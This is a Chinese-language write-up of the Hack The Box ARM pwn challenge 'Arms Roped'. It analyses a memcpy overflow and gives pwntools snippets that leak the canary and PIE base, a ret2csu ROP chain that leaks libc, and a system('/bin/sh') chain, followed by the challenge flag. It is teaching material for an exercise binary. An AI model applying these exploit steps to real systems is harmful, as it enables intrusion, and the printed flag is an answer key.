Arms Roped - Pwn (Medium)
題目資訊
- 分類: Pwn (二進位漏洞利用)
- 難度: Medium (515 人解出)
- 描述: Get a shell!
- 二進位檔: ELF 32-bit ARM (armhf), PIE, 動態連結
- 執行環境: QEMU user-mode,自訂 patch 模擬 ASLR
保護機制
| 保護 | 狀態 |
|---|---|
| PIE | 開啟 |
| NX | 開啟 |
| Canary | 開啟 |
| RELRO | Partial |
逆向分析
核心函式:string_storer()
void string_storer() {
char buffer[32]; // fp-48 起始 (4 bytes 變數 + 28 bytes 緩衝區)
// stack canary 在 fp-16
while (1) {
scanf("%m[^\n]%n", &tmp, &n); // %m 用 malloc 配置記憶體
getchar(); // 吃掉換行
memcpy(buffer, tmp, n); // ← 溢位! n 可超過 32
free(tmp);
if (memcmp(buffer, "quit", 4) == 0) break;
puts(buffer); // ← 資訊洩漏!
}
// canary 檢查 → pop {r4, fp, pc} 返回
}
堆疊佈局 (從 fp-48 起算)
偏移 內容 作用
0-31 buffer (32 bytes) 使用者輸入
32-35 stack canary 防溢位保護值
36-39 區域變數 未使用
40-43 saved r4 ← pop {r4, fp, pc} 恢復
44-47 saved fp ←
48-51 saved lr (return addr) ← 控制 pc = 控制執行流
52+ ROP chain 資料 可放任意 gadget 位址
漏洞分析
- Buffer Overflow:
memcpy(buffer, input, strlen(input))沒有大小檢查,buffer 只有 32 bytes 但輸入可達 ~4000 字元 - 資訊洩漏:
puts(buffer)印到 null byte 為止。溢位覆蓋 canary/saved registers 後,puts 會洩漏這些值 - Canary 繞過: canary 檢查只在迴圈結束時(輸入 "quit")才執行,多次溢位不會觸發
攻擊策略(三階段)
第一階段:洩漏 Canary + PIE 基址
迭代 1 — 洩漏 Canary(發送 33 bytes)
ARM 的 stack canary 最低位元組 (LSB) 固定為 0x00(防止字串洩漏)。發送 33 bytes 覆蓋掉 canary 的 0x00,讓 puts 繼續讀取:
[32 bytes 填充][覆蓋 canary 的 0x00] → puts 印出 canary 的後 3 bytes
r.sendline(b'A' * 33)
data = r.recvline()
canary = u32(b'\x00' + data[33:36]) # 還原完整 canary
迭代 2 — 洩漏 PIE 基址(發送 45 bytes)
覆蓋到 saved fp 的第一個 byte,讓 puts 洩漏 saved_fp[1:3] + saved_lr:
r.sendline(b'B' * 45)
data = r.recvline()
saved_lr = u32(data[48:52]) # saved lr = PIE_base + 0x948
pie_base = saved_lr - 0x948
第二階段:ROP 洩漏 libc 位址(ret2csu)
利用 ARM __libc_csu_init 中的兩個 gadget:
| Gadget | 位址 | 功能 |
|---|---|---|
| Pop gadget | PIE+0x9ec | pop {r4, r5, r6, r7, r8, r9, sl, pc} |
| Call gadget | PIE+0x9cc | ldr r3,[r5],#4; mov r0,r7; blx r3 → 呼叫函式 |
迭代 3 — 寫入 ROP chain
填充(32) + canary(4) + 垃圾(4) + r4(0) + fp(0) +
pc = pop_gadget →
r4=0, r5=GOT.puts, r6=1, r7=GOT.puts,
r8=0, r9=0, r10=0,
pc = call_gadget →
blx [GOT.puts] → 呼叫 puts(GOT.puts位址) → 印出 libc puts 位址
迴圈結束後第二次 pop →
r4-r10=0, pc = main → 重新開始程式
迭代 4 — 觸發 ROP
發送 quit → 迴圈結束 → canary 檢查通過(已還原正確值)→ pop {r4, fp, pc} → ROP 執行 → puts(GOT.puts) 印出 libc 位址 → 跳回 main。
libc_puts = u32(data[:4])
libc_base = libc_puts - 0x49ba5
第三階段:取得 Shell
程式重新進入 string_storer()。使用 libc 中的 gadget:
pop {r0, r4, pc} @ libc + 0x5bebc
ROP chain:
填充(32) + canary(4) + 垃圾(4) + r4(0) + fp(0) +
pc = pop_r0_r4_pc →
r0 = "/bin/sh" 位址 (libc + 0xdce0c)
r4 = 0
pc = system (libc + 0x2f511)
發送 quit → system("/bin/sh") → 取得 shell!
攻擊流程圖
連線
│
├─ 迭代 1: "A"*33 ──────────────→ 洩漏 canary
├─ 迭代 2: "B"*45 ──────────────→ 洩漏 PIE base
├─ 迭代 3: ROP chain (116 bytes) → 寫入 ret2csu chain
├─ 迭代 4: "quit" ──────────────→ 觸發 ROP → puts(GOT) → 洩漏 libc
│ ↓ 跳回 main
│ ┌─ 新的 string_storer() ─────┐
│ ├─ 迭代 5: ROP chain (64 bytes) → system("/bin/sh") chain
│ ├─ 迭代 6: "quit" ──────────→ 觸發 ROP → system("/bin/sh")
│ └─────────────────────────────┘
│
└─ 🐚 Shell!
ARM 特有技術細節
| 概念 | 說明 |
|---|---|
| 呼叫慣例 | r0-r3 傳參數,r4-r11 callee-saved |
pop {r4, fp, pc} |
同時控制 r4、fp 和返回位址 |
| ARM/Thumb 切換 | system() 位址為奇數 (0x2f511) → pop 進 pc 時自動切換到 Thumb 模式 |
| Stack Canary | LSB 固定為 0x00,需覆蓋此 byte 才能透過 puts 洩漏 |
| ret2csu | ARM 版本: pop8 gadget 設定暫存器 → call gadget 透過 blx 呼叫函式 |
Flag
HTB{_r0pp1Ng_0n_4rM_1s_n0t_s0_34sy_L1K3_x86!!}
心得
- ARM ROP 比 x86 複雜,因為參數透過暫存器傳遞,需要額外的 gadget 來設定 r0
- ret2csu 是 ARM 上控制函式呼叫參數的經典技巧
- 多次溢位 + canary 延遲檢查是繞過 stack canary 的關鍵
- QEMU user-mode 下 system("/bin/sh") 可以正常運作(kernel 負責執行 host 的 /bin/sh)